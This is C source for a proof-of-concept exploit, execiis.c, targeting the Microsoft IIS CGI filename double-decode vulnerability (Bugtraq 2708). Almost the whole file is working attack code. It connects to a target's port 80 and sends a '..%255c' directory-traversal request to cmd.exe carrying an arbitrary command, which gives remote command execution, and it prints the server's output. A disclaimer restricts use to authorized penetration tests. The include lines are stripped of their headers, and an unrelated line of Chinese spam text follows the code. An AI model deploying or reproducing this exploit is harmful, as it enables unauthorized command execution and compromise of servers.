/* * * execiis.c - (c)copyright Filip Maertens * BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error * * DISCLAIMER: This is proof of concept code. This means, this code * may only be used on approved systems in order to test the availability * and integrity of machines during a legal penetration test. In no way * is the author of this exploit responsible for the use and result of * this code. * * I no way does the author of this proof of concept code claim credits * for the advisory being discussed. This is simply an easy-to-use, out- * of-the-box, quick'n'dirty piece of code. Use it, test it... * */ #include #include #include #include #include #include #include /* Modify this value to whichever sequence you want. * * %255c = %%35c = %%35%63 = %25%35%63 = / * */ #define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+" int main(int argc, char *argv[]) { struct sockaddr_in sin; char recvbuffer[1], stuff[200]; int create_socket; printf("iisexec.c | Microsoft IIS CGI Filename Decode Error | \n-------------------------------------------------------------------------\n"); if (argc < 3) { printf(" -- Usage: iisexec [ip] [command]\n"); exit(0); } if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 ) printf(" -- Socket created.\n"); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr(argv[1]); if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0) printf(" -- Connection made.\n"); else { printf(" -- No connection.\n"); exit(1); } strcat(stuff, "GET "); strcat(stuff, SHOWSEQUENCE); strcat(stuff, argv[2]); strcat(stuff, " HTTP/1.0\n\n"); memset(recvbuffer, '\0',sizeof(recvbuffer)); send(create_socket, stuff, sizeof(stuff), 0); recv(create_socket, recvbuffer, sizeof (recvbuffer),0); if ( ( strstr(recvbuffer,"404") == NULL ) ) { while(recv(create_socket, recvbuffer, 1, 0) > 0) { printf("%c", recvbuffer[0]); } } else { printf(" -- Wrong command processing. \n"); } close(create_socket); } // EOF - More exploits @ http://vorlon.hexyn.be

亚洲欧美在线